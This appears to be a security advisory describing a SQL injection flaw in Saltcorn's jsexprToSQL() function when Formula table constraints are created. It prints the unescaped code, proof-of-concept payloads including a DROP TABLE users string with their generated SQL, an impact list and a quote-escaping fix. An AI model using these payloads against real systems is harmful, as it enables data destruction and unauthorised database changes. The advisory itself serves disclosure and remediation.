PT-2026-33888

Publicado

2026-04-10

Atualizado

2026-04-10

Descrição por

CVSS 3.1

0.0

Não disponível

MétricasAV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:N

Summary

The jsexprToSQL() function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The Literal handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints.

Vulnerable Component

File: packages/saltcorn-data/models/expression.ts, lines 117-118

typescript

Literal({ value }: { value: ExtendedNode }) {
 if (typeof value == "string") return `'${value}'`; // NO ESCAPING!
 return `${value}`;
},

Call chain: Formula constraint creation → table constraints.ts:127 → jsexprToSQL() → Literal() → db.query() executes unsanitized SQL.

Proof of Concept

Injection via Formula Constraint

When an admin creates a Formula-type table constraint with the expression:

javascript

name === "test' OR '1'='1"

The jsexprToSQL() function generates:

sql

(name)=('test' OR '1'='1')

This is then executed as:

sql

ALTER TABLE "tablename" ADD CONSTRAINT "tablename fml 1" CHECK ((name)=('test' OR '1'='1'));

The single quote in the string literal is not escaped, breaking out of the SQL string context.

More Dangerous Payload

javascript

name === "'; DROP TABLE users; --"

Generates:

sql

(name)=(''; DROP TABLE users; --')

Verified on Saltcorn v1.5.0 (Docker)

Direct invocation of jsexprToSQL() inside the running container confirms the vulnerability:

Input: name === "hello"
Output: (name)=('hello')             ← Normal

Input: name === "test' OR '1'='1"
Output: (name)=('test' OR '1'='1')        ← Single quote NOT escaped, OR injected

Input: name === "'; DROP TABLE users; --"
Output: (name)=(''; DROP TABLE users; --')     ← DROP TABLE injected

The test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup).

PoC Screenshot

Create a table after moving to the table menu

Go to the table and then to Constraits

Go to Formula

Create a test table for verification

Input the payload and save

Check the table for testing

Impact

Arbitrary SQL execution via crafted CHECK constraints
Data exfiltration through error-based or time-based SQL injection
Database schema manipulation (DROP TABLE, ALTER TABLE)
Potential privilege escalation via direct users table modification

Suggested Remediation

Escape single quotes in the Literal handler:

typescript

Literal({ value }: { value: ExtendedNode }) {
 if (typeof value == "string") return `'${value.replace(/'/g, "''")}'`;
 return `${value}`;
},

Alternatively, use parameterized queries for constraint creation instead of string interpolation.

Explorabilidade

Correção

Impactos

Fornecedores

Produtos afetados

Enumeração de fraquezas

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\'SQL Injection\')

Identificadores relacionados

GHSA-59XV-588H-2VMM

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

dbugs@ptsecurity.com